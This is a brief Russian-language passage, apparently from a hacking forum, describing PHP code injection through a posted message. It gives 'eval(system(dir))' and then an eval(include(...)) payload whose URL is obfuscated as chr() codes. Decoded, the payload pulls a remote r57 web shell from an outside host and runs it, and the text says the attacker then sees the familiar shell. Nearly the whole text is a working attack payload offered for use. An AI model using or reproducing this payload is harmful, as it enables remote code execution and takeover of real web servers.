1. Постим сообщение eval(system(dir)); //'

А лучше постить такое сообщение eval(include(chr(104).chr(116).chr(116).chr(112).c hr(58).chr(47).chr(47).chr(115).chr(101).chr(114). chr(103).chr(101).chr(121).chr(120).chr(108).chr(4 6).chr(98).chr(121).chr(46).chr(114).chr(117).chr( 47).chr(114).chr(53).chr(55).chr(115).chr(104).chr (101).chr(108).chr(108).chr(46).chr(112).chr(104). chr(112))); //
и вуаля мы видим нам знакомый шелл.